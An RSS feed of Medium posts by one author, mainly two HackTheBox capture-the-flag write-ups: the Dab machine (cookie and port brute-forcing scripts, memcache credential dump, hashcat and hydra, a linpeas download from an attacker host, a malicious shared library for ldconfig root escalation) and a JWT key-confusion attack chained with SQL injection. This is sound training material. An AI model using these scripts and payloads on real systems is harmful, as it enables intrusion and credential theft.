<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mateusz Rędzia on Medium]]></title>
        <description><![CDATA[Stories by Mateusz Rędzia on Medium]]></description>
        <link>https://medium.com/@mat.redzia?source=rss-b50072e68da8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*wa6Z1ipI_tTZM7UHovRIRg.png</url>
            <title>Stories by Mateusz Rędzia on Medium</title>
            <link>https://medium.com/@mat.redzia?source=rss-b50072e68da8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 23:40:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mat.redzia/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hacking Linux machine: Dab scenario in Hackthebox]]></title>
            <link>https://medium.com/@mat.redzia/hacking-linux-machine-dab-scenario-in-hackthebox-9e3a3173d551?source=rss-b50072e68da8------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e3a3173d551</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Mateusz Rędzia]]></dc:creator>
            <pubDate>Thu, 21 Mar 2024 11:51:38 GMT</pubDate>
            <atom:updated>2024-03-21T11:51:38.017Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lpW_OWuz6BqQ1VVc" /><figcaption>Photo by <a href="https://unsplash.com/@ralexnder?utm_source=medium&amp;utm_medium=referral">Alex Chumak</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Hello! In this article, I will describe how I managed to break into a vulnerable Linux machine. The machine is called Dab and can be found in Hackthebox. Let’s get started!</p><h3>Topics covered</h3><ul><li>Website enumeration</li><li>Port scanning</li><li>Password cracking</li><li>Brute-forcing credentials</li><li>Reverse engineering</li><li>and some more :)</li></ul><h3>Reconnaissance</h3><p>All we know initially is that the target machine is Linux and we are provided with its IP address. The first thing to do would be to gather information about open ports and services listening on that machine. I started with a Nmap scan.</p><pre>nmap -sV -sC -vv -o scan.nmap 10.10.10.86</pre><p>To briefly explain what will happen:</p><ul><li>-sV flag will attempt to detect a version of the running service</li><li>-sC flag will perform a scan with the default NSE (Nmap Scripting Engine) scripts</li><li>-vv increases verbosity level to see more details of the scan</li><li>-o will save the output to the scan.nmap file</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QVLywWrCqxm69a2vJ3V8VA.png" /><figcaption>scan.nmap file content (1)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Sft5YPgWY3jyWxMPueK4w.png" /><figcaption>scan.nmap file content (2)</figcaption></figure><p>The target machine has 4 open ports (21, 22, 80, 8080). Let’s try to discover more about them.</p><p><strong>Port 21 (FTP)</strong></p><p>The first thing that caught my eye is that Anonymous login is allowed. I will try to log in with the username:anonymous and an empty password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7TtmhU4SLNSZfOfxR4d9pA.png" /></figure><p>There is just one file called dab.jpg. I downloaded it but it’s just an image. I assumed it might be something about steganography which is hiding data in files so I tried to use steghide tool to check if there’s anything worth my attention hidden behind the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*Asu_N947yEMHCRjVNWUmQA.png" /><figcaption>steghide decrypting data hidden within an image</figcaption></figure><p>When asked for a password I tried with an empty one and it worked. Well, there is some data saying “Nope…” so that is not the way to take.</p><p>There’s not much more to do here. I looked up some vulnerabilities of vsftpd 3.0.3 and I found Remote Denial of Service which does not help with getting access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hBcvfxU9bf8JAdJhAaxR_w.png" /></figure><h4>Port 22 (SSH)</h4><p>I did run hydra in the background to try to brute force some login credentials based on common usernames and passwords but I didn’t expect anything to pop up here. It ran in the background and honestly, no credentials were detected as I assumed. Other ports are way more interesting.</p><h4>Port 80 (HTTP)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SJigv-1pWTkqtOGrcRXXjg.png" /><figcaption>Login page on port 80</figcaption></figure><p>Port 80 serves the web application that requires us to authenticate to browse its content. I tried with some default usernames and passwords but with no luck.</p><p>I performed a directory enumeration using gobuster but nothing particular was found except /login and /logout .</p><pre># Gobuster directory enumeration<br>sudo gobuster dir -u http://10.10.10.86 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</pre><p>I checked Devtools for any interesting data in the request/response headers. I used Burp, but there was no easy win here. I decided to check the last available port 8080.</p><h4>Port 8080 (HTTP)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1cXzHVoG7RJ9i0a9BPyz3w.png" /><figcaption>Port 8080 web app</figcaption></figure><p>This is another web app but the landing page contains interesting information. “Password authentication cookie not set” would point out that we have to set a cookie named “password”. I did try that and this is the outcome.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yG1MB13yqeRgRNUhJTAiJA.png" /><figcaption>Set “password” cookie value to “test”</figcaption></figure><p>The cookie is incorrect, okay! That leaves room for further enumeration. I have decided to write a short Python script to send requests to this address with diverse “password” cookie values.</p><h4>Cookie enumeration</h4><pre>import requests<br>import sys<br><br>url = &quot;http://10.10.10.86:8080/&quot;<br>wordlist_file = sys.argv[1]<br><br>def try_password(password: str):<br>    res = requests.get(url, cookies={&quot;password&quot;:password})<br>    if &quot;Access denied: password authentication cookie incorrect&quot; not in res.text:<br>        print(f&quot;[*] Possible password: {password}&quot;)<br><br>with open(wordlist_file, &quot;r&quot;) as fh:<br>    for password in fh:<br>        try_password(password.strip())</pre><p>The script accepts a path to a file as a first argument, reads it line by line and if any password will cause the response to be different from Access denied: password authentication cookie incorrect then it will print out possible password. Let’s give it a go!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9XgDIE3Oa8Q1cOjnsTnarQ.png" /><figcaption>Found possible “password” cookie value</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eJWAa0tcztNHRaBrFjr_bw.png" /><figcaption>Web panel after authenticating</figcaption></figure><p>Great! Now I do have access to the web panel that seems to be sending some commands to TCP ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8ZRRgRWQdBAYxhfRF15pYQ.png" /><figcaption>Testing behavior of the web panel</figcaption></figure><p>After some time of playing around with it and guessing the commands it occurred to me that I actually can access target machine ports from the “inside”. It means that if there are any listening ports that are not exposed to the outside world, maybe I could detect them. Another enumeration is about to start.</p><h4>Internal port enumeration</h4><p>I decided to use Python again to send proper requests and check response codes that will determine whether the port is accessible or not.</p><pre># The URL we are accessing -&gt;<br>http://10.10.10.86:8080/socket?port=80&amp;cmd=test</pre><p>Since the URL has all the necessary parameters, I am going to use the GET method and iterate over ports to check their response code.</p><pre>import requests<br>from tqdm import tqdm<br><br>url = &quot;http://10.10.10.86:8080/socket&quot;<br><br>def generate_url_params(port: int):<br>    return url + f&quot;?port={port}&amp;cmd=test&quot;<br><br>for i in tqdm(range(1,65535)):<br>    # print(f&quot;--- Checking port {i} ---&quot;)<br>    # print(res.status_code)<br>    url_with_params = generate_url_params(i)<br>    res = requests.get(url_with_params, cookies={&quot;password&quot;:&quot;secret&quot;})<br>    if res.status_code != 500:<br>        print(f&quot;[*] Port {i} responded with code: {res.status_code}&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hDXK2t0-snZThfcQvHGJsA.png" /><figcaption>Python script detecting ports</figcaption></figure><p>That took a long time, however, there’s one new port that popped up! It is port 11211 and after a quick Google search, I assumed it was a Memcache service.</p><h4>Memchache pentesting</h4><p>I literally have never dealt with Memcache so this is my first confrontation. Hacktricks article to the rescue: <a href="https://book.hacktricks.xyz/network-services-pentesting/11211-memcache">https://book.hacktricks.xyz/network-services-pentesting/11211-memcache</a></p><p>Quoting Hacktricks, that quotes Wikipedia:</p><blockquote><strong><em>Memcached</em></strong><em> is a general-purpose distributed </em><a href="https://en.wikipedia.org/wiki/Memory_caching"><em>memory caching</em></a><em> system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read.</em></blockquote><p>That made me think I should try to extract some data from the cache that will bring me closer to getting the initial access to the target machine. I played around using commands like version, stats, stats slabs, stats items etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-eAlqefKI3ed6rTFSUS-IA.png" /><figcaption>The result of `stats items` command</figcaption></figure><p>Then, following the hacktricks suggested commands I used stats cachedump &lt;number&gt; 0 which should get key names from the cache.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b-qVTLdO8PA9HbWtDqnWcg.png" /><figcaption>Retrieved key names</figcaption></figure><p>I got ‘users’! Then I tried to get some data from ‘users’ still following example commands suggested by hacktricks article.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y2WwKyv4SJWY9Tyw6jT1lg.png" /><figcaption>Retrieved users data</figcaption></figure><p>I got some JSON object with usernames as keys and hashes as values. Let’s have a better look.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Cc0lSwaBJ74YfVhuBt0Hw.png" /><figcaption>Dumped user data from memcache</figcaption></figure><p>It is a list of users and most likely hashed passwords. I used hash-identifier tool to make sure what type of hashes are these.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OGZpoM_SKIbfYfcshn6tbw.png" /><figcaption>Analyzing hash type</figcaption></figure><h4>Cracking passwords</h4><p>It seems like it’s MD5. Let’s try to crack these using hashcat. I prepared a file with extracted hashes, each one in a separate line. Then I ran hashcat</p><pre>hashcat -m 0 password_hashes.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*aCzp70XkpUFYDff4K8D5jQ.png" /><figcaption>Cracked passwords</figcaption></figure><p>Well done! The list of users and their passwords is now in our possession! Now it’s simple matching cracked passwords to usernames and using these to authenticate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hijrCdMH-soUZxMeyeB0Tw.png" /><figcaption>User panel after authenticating</figcaption></figure><p>After logging in it is difficult to spot anything suspicious. I tried with multiple accounts and the panel looks exactly the same. After a while, I decided to give it a go against SSH service.</p><h4>Initial access</h4><p>I prepared a file containing usernames and passwords separated by colon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*Iw6iZOdGW6nuI8KDN54_lg.png" /><figcaption>Usernames with cracked passwords</figcaption></figure><p>Then I ran hydra to try to authenticate with any of these creds.</p><pre>hydra -C userpasswordpairs ssh://10.10.10.86 -V -t 4</pre><p>Where:</p><ul><li>-C flag expects a file with usernames and passwords separated by colon in each line</li><li>-V shows login and password for each attempt</li><li>-t 4 sets parallel connections to the target as 4</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vBMCnaG1hPZHdhihYWboNg.png" /><figcaption>Hydra found valid credentials for SSH service</figcaption></figure><p>Gotcha! With this data, I could get access to the server and get the first flag :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HSroXrph0Kk8fa1vVK1FGQ.png" /><figcaption>user.txt with a flag</figcaption></figure><h4>Privilege escalation</h4><p>The next step after getting an initial foothold was escalating my privileges so I could own the target system as a root. The flag to capture is most likely in /root directory so I need the highest privileges.</p><p>I started with <a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS">Linpeas</a> to quickly check what might be the vectors to escalate the privileges. I downloaded it to my system, started an HTTP server with python, and shared a linpeas file to be delivered to the target system.</p><pre>wget http://[ATTACKING_MACHINE_IP]/linpeas_file</pre><p>After downloading linpeas, I made it executable ( chmod +x linpeas_file ) and ran. After a while of analysis, those are the key information that helped me get root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7XfhylSBSwcgBwR1dTdDBQ.png" /><figcaption>ldconfig has SUID bit set</figcaption></figure><p>ldconfig with a SUID bit set means that we can run this program with root privileges. That is a vector worth my attention, especially because there is also an unusual executable file /usr/bin/myexec.</p><p><strong>What is ldconfig?</strong></p><p>From the man page:</p><blockquote><strong>ldconfig</strong> creates the necessary links and cache to the most recent shared libraries found in the directories specified on the com‐<br>mand line, in the file /etc/ld.so.conf, and in the trusted directories, /lib and /usr/lib.<br><br>The cache is used by the run-time linker, ld.so or ld-linux.so. <strong>ldconfig</strong> checks the header and filenames of the libraries it en‐<br>counters when determining which versions should have their links updated.</blockquote><p>More info here: <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld.so">https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld.so</a></p><p>Also, Linpeas did check potential misconfigurations of ld.so and found the following.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YzLVzJHlWqan41mnuXR0pw.png" /><figcaption>ld.so misconfigurations</figcaption></figure><p>/etc/ld.so.conf file has a wildcard “include” instruction for configuration files. It includes all of the files from /etc/ld.so.conf.d/ which would let us create a custom file with a malicious purpose if we had write permissions in /etc/ld.so.conf.d/ directory. Current user does have those permissions but let’s keep on looking as there is one more important line highlighted by Linpeas.</p><p>/tmp catalogue is pointed out in one of the config files. That saves us some time as we can simply create a file in /tmp directory and it will be imported.</p><p>Now, to exploit this I would need some executable that uses a library from one of these folders or create one malicious library, put it in /tmp directory, and run ldconfig to reload dependencies for executables. This way I could try to force the program to run my (the attacker’s) code.</p><p>There is one executable that stands out and it is /usr/bin/myexec . Let’s see what does it do first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*FHEzn4PPEGhTnU6fx-5sGQ.png" /><figcaption>Running myexec</figcaption></figure><p>It requires a password to proceed. Anyway, let’s take a look at what dependencies this executable uses. To do that I used ldd command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Y88yasoi2JqrxKf9M-TDw.png" /><figcaption>myexec is using /usr/lib/libseclogin.so</figcaption></figure><p>.so files are dynamic libraries and myexec is using libseclogin.so that in theory, we should be able to substitute with our malicious code. There are 2 things to do here:</p><ol><li>Get the password required when running myexec</li><li>Exploit the vulnerability allowing to substitute the C library with our code</li></ol><p><strong>Looking for a password</strong></p><p>To find a password required in myexec I decided to use Ghidra to disassemble the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IItM-zBWuL0l9byxXFjmfw.png" /><figcaption>Decompiled myexec code</figcaption></figure><p>In line 20 we can see the usage of seclogin() function when the provided password is correct. strcmp function in line 17 is responsible for comparing 2 strings. When strings match it returns 0.</p><p>My first guess was that if we read user input and save it into local_58 variable then it is enough to decode the value of local_68 and we’re good! Almost there…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E2Lgy9I9nqokpVJVBv1ijg.png" /><figcaption>Finding local_68 variable</figcaption></figure><p>Double-clicking on the value of local_68 will bring us to the place where it is declared. Right-clicking on it and selecting “Clear code bytes” will show the value behind the hex.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5M_IjCuitTlT6M3fFG906A.png" /><figcaption>Show the value behind the hex</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*knP8kRQDj-JvQPtQ_c2bEg.png" /><figcaption>Revealed value behind local_68</figcaption></figure><p>So on the left-hand side of the screen, we can see a string that goes “s3cur3l0”. Take a look at the right-hand side where I just hovered over the hex value. Ghidra shows that string backwards. It happens because Ghidra uses little-endian when decompiling the code and in the end, we see the value in reverse. That is why I had to use “Clear code bytes” option.</p><p>Now we should try if s3cur3l0 will be the searched password. And the answer is NO! :)</p><p>I got confused at this point but after a little more time I noticed that there’s also local_60 as a hex. It doesn’t seem to be used anyhow, nevertheless, I have decided to check what’s in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Z2B_pSTBZEsZCvuXw3i9g.png" /><figcaption>local_60 and local_68 values</figcaption></figure><p>And it is a bingo! Those 2 strings combined give us a string “s3cur3l0g1n” that apparently aligns with the seclogin() function. Let’s give it a shot!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T-Xe6C7qQWILTa88eO_dkg.png" /><figcaption>Executing myexec with known password</figcaption></figure><p>One step closer! The password is correct and we can see that seclogin() function was called. Apparently, this function is not implemented yet, and that’s good news to the attacker as he/she can implement one that will escalate the privileges!</p><p><strong>Privilege escalation with ldconfig</strong></p><p>So again, it should be possible to create a custom library in /tmp directory and reload it using ldconfig. This way I’m going to create a C file with seclogin() function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*tK3POLymDxoPw957FkEIIQ.png" /><figcaption>Results of linpeas scan</figcaption></figure><p>I found the example exploit in hacktricks website -&gt; <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/ld.so.conf-example">https://book.hacktricks.xyz/linux-hardening/privilege-escalation/ld.so.conf-example</a></p><p>I adjusted it to my needs so it looks like this</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;sys/types.h&gt;<br><br>void seclogin() {<br>    setuid(0);<br>    setgid(0);<br>    printf(&quot;Root root root...\n&quot;);<br>    system(&quot;/bin/sh&quot;,NULL,NULL);<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KoFU5mAKSoFLXiubgCgY3w.png" /><figcaption>Creating malicious C code on a target machine</figcaption></figure><p>After the library was ready I had to run ldconfig to make myexec import code from the new, malicious lib.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4z64uTijHNBGkrirbzDURg.png" /><figcaption>Checking if the changes are loaded successfully</figcaption></figure><p>Then, all I had to do was run myexec again and wait for the new code to work in my favor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fc4ueNxgge2ia-z9B1VYgA.png" /><figcaption>Rooting machine</figcaption></figure><p>The malicious seclogin() function was executed and I became root on a target machine. Mission accomplished :)</p><h3>Summary</h3><p>Dab is a fun and challenging scenario involving many different areas regarding vulnerabilities. It wasn’t easy for me to hack it but definitely it has a huge educational value.</p><p>A couple of times it felt like going down the rabbit hole but in the end, this is how we learn to distinguish the right path from the wrong one. I have learned to pay more attention to the detail, focus on enumeration and any time it gets more confusing, just try harder :)</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e3a3173d551" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting JWT Token vulnerability in HackTheBox scenario]]></title>
            <link>https://medium.com/@mat.redzia/exploiting-jwt-token-vulnerability-in-hackthebox-scenario-991bb0c25238?source=rss-b50072e68da8------2</link>
            <guid isPermaLink="false">https://medium.com/p/991bb0c25238</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mateusz Rędzia]]></dc:creator>
            <pubDate>Thu, 25 Jan 2024 08:43:15 GMT</pubDate>
            <atom:updated>2024-01-25T08:43:15.650Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*y5EnrJ-rGoV-xOd2" /><figcaption>Photo by <a href="https://unsplash.com/@flyd2069?utm_source=medium&amp;utm_medium=referral">FlyD</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Hello! In this article, I’m going to describe the way I broke into a website using a <strong>JWT token</strong> and enumerated the database behind it. The scenario is called “Under Construction” and the vulnerable machine is available at HackTheBox service. Let’s get started!</p><h3>Machine intro</h3><p>The description of the machine says the following:</p><pre>A company that specialises in web development is creating a new site <br>that is currently under construction. Can you obtain the flag?</pre><p>When opening the website in the browser we can see a simple login form with the possibility to register an account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*orri7Lkuv_pim1MgjbSHYg.png" /><figcaption>The landing page of the target website</figcaption></figure><p>Initially, I tried some default credentials to get in but it was simpler than that. All I had to do was register an account and log in :)</p><p>I created a user with the following credentials:</p><pre>Login: mat<br>Password: 123</pre><p>There was no validation for such a weak password and I could use my new account immediately. When signing in I just saw a simple page with my username on it and info saying that this site is still under development.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SGP2cRJl4zQ8F_nTzL1ogg.png" /><figcaption>The home page after logging in to the website</figcaption></figure><p>I looked around the source code and opened the Dev Tools to investigate the network tab and returned data. One thing that occurred to me was the returned cookie that seemed like a JWT token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M6VcUtBjlP1_SQGsLOO0ZA.png" /><figcaption>Network tab and setting a cookie</figcaption></figure><p>I wanted to try to decode it so I went to <a href="https://jwt.io/">jwt.io</a> and checked what’s inside the token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J00O2DLGzeczsENrYUx1WQ.png" /><figcaption>Decoded JWT token</figcaption></figure><p>The token stores the <strong>username</strong>, <strong>public key</strong>(!), and <strong>iat</strong> (issued at) timestamp. After seeing this, I thought maybe I could modify the payload of the JWT token to access another user’s data. I searched a bit for known JWT vulnerabilities and the possibility of tampering the token. I found the following:</p><ul><li><a href="https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens">https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens</a></li><li><a href="https://portswigger.net/web-security/jwt">https://portswigger.net/web-security/jwt</a></li></ul><p>I started to go step by step through potential vulnerabilities and I stopped at Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016–5431/CVE-2016–10555) as it sounded accurate to the given scenario. Why was I so sure?</p><h3>Source code analysis</h3><p>The room contains also a source code of the website so I could take a look at what’s happening within the app logic. The app is created with Express.js and it uses jsonwebtoken library. In the screenshot below we can see a file handling JWT token and the interesting thing is that in decode() function there are 2 algorithms RS256 and HS256 which rings a bell when reading about CVE-2016–5431/CVE-2016–10555 .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f1GBJ91m2TzpL01nbK5r0A.png" /><figcaption>Source code handling JWT tokens</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hDiYpYB1Jav3_RNkA2bQcQ.png" /><figcaption>getUser() function executing vulnerable SQL query</figcaption></figure><p>Moreover, the index page which displays the username uses getUser() function which body you can see above. It runs a SQL query and it seems like the input is not sanitized. If only I could modify the username… Wait a second, that rings a bell ;)</p><p>In the decoded JWT token there is a username value that we could try to modify. Take a look at the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L6FgxdG8vJFArZvZZmYuzQ.png" /><figcaption>index.js displaying username and some info</figcaption></figure><p>The username that is included in the JWT token is used to execute the SQL query and then display the results in the home page. There I found a potential SQL injection that can be executed by modifying JWT payload.</p><p>In the meantime, I also checked for the vulnerabilities of jsonwebtoken and guess what, that just made me more sure about my assumptions!</p><ul><li><a href="https://security.snyk.io/package/npm/jsonwebtoken">https://security.snyk.io/package/npm/jsonwebtoken</a></li><li><a href="https://security.snyk.io/vuln/SNYK-JS-JSONWEBTOKEN-3180024">https://security.snyk.io/vuln/SNYK-JS-JSONWEBTOKEN-3180024</a></li></ul><p>We can see that jsonwebtoken versions &lt; 9.0.0 are vulnerable and there is one key sentence in the vulnerability description.</p><blockquote>Specifically, tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6-i2yHsPOA-4lhtOnq5I4Q.png" /><figcaption>package.json content</figcaption></figure><p>“Thankfully” the jsonwebtoken version used in the app is vulnerable. There’s not much more to do than start actively hacking!</p><h3>Exploitation</h3><p>The attack I wanted to perform is called “Key Confusion attack” and it is based on making the server accept the signature of the JWT token using a different algorithm than intended initially. That vulnerability allows the attacker to tamper the JWT payload and send it to the server.</p><p>When I decoded the token I noticed that the algorithm was set to RS256 and when reading the code I spotted that decode() function could use both RS256 and HS256 algorithms. Let’s try to take advantage of that configuration.</p><p>To perform “Key confusion” attack I am going to use JOSEPH which is a Burp extension. You can install it for free.</p><p>Now, let me go through all the steps.</p><ol><li>Copy captured JWT token and paste it in “JOSE input”, click load</li><li>Set attack to Key Confusion and click load</li><li>Paste the public key that is present in decoded JWT token, click load</li><li>Choose different payloads to generate various JWT tokens</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8MVCOZupzoz76fUwlnNmLw.png" /><figcaption>Preparation for Key Confusion attack with JOSEPH extension</figcaption></figure><p>5. Paste the generated token into the captured query and see the response. If the token was not accepted by the server, go to step 4. If the server responded properly the token was most likely accepted!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*cwX1m7yj6Ye667ueOWD2cQ.png" /><figcaption>Server response 304 Not Modified after injecting tampered token</figcaption></figure><p>In the screenshot above there is a response from the server once I sent the JWT token using HS256 algorithm instead of RS256. As a result, I got valid page with my username in it. Now let’s try to modify the username property and see what happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nWPxJsk-EXfHF9jx1S0oWQ.png" /><figcaption>Modified “username” to see if SQL injection is possible</figcaption></figure><p>I modified the “username” to the following value:</p><pre> &quot;username&quot;: &quot;&#39; OR 1=1;--&quot;</pre><p>and followed the steps in JOSEPH to make the server accept my crafted JWT token. This is what the server returned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SFL0Nb0NUqOCDDnrtAe8_A.png" /></figure><p>I managed to access some other user named “user”! That means the app is vulnerable to SQL injection via Key Confusion in JWT token.</p><p>From now on that should be a bit easier as I need to enumerate the database. Let’s do it!</p><p>I used <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md">PayloadsAllTheThings</a> to try some example payloads against the target app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xnVDjLtMD13f7NsxaBxuKw.png" /><figcaption>Injecting SQL to display tables in the database</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*RBlbRjhRAjkZtWDzIKyeMg.png" /><figcaption>Server response to SQL injection</figcaption></figure><p>With this command, I managed to retrieve table names in the database and there is one that stands out in particular. Let’s try to get columns from flag_storage table.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4qYpKq8ERRiVKSEZZKt83g.png" /><figcaption>payload to retrieve column names in flag_storage table</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*VsBHbjmWVztPrEE96xu2qg.png" /><figcaption>Server response</figcaption></figure><p>The visible column names are id | top_secret_flaag. Now I can simply read the content of top_secret_flaag and that would be it :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8BQ_5R-yh5Cw-LJqlwq33w.png" /><figcaption>SQL query retrieving the flag</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*TPMlF0F1dC_TJ3bB9B-hNw.png" /><figcaption>The returned flag</figcaption></figure><h3>Summary</h3><p>That was a fun scenario that introduced chained vulnerabilities as SQL injection via JWT token Key Confusion.</p><p>The key points here were: returning public_key in JWT token and using prone jsonwebtoken library in the app. Returning public_key is definitely not necessary. Also, it is important to keep app dependencies up to date due to some potential security vulnerabilities. And the last thing that could prevent the attack is sanitizing data when executing SQL queries. All of that chained together did let us enumerate the database and obtain the flag.</p><p>Thanks for reading and stay safe out there!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=991bb0c25238" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Create an old-school chat in the terminal with Python and socket library]]></title>
            <link>https://python.plainenglish.io/create-an-old-school-chat-in-the-terminal-with-python-and-socket-library-8adaab079e21?source=rss-b50072e68da8------2</link>
            <guid isPermaLink="false">https://medium.com/p/8adaab079e21</guid>
            <category><![CDATA[chat]]></category>
            <category><![CDATA[socket-programming]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[tcp]]></category>
            <dc:creator><![CDATA[Mateusz Rędzia]]></dc:creator>
            <pubDate>Mon, 29 May 2023 05:18:33 GMT</pubDate>
            <atom:updated>2023-05-30T10:14:29.544Z</atom:updated>
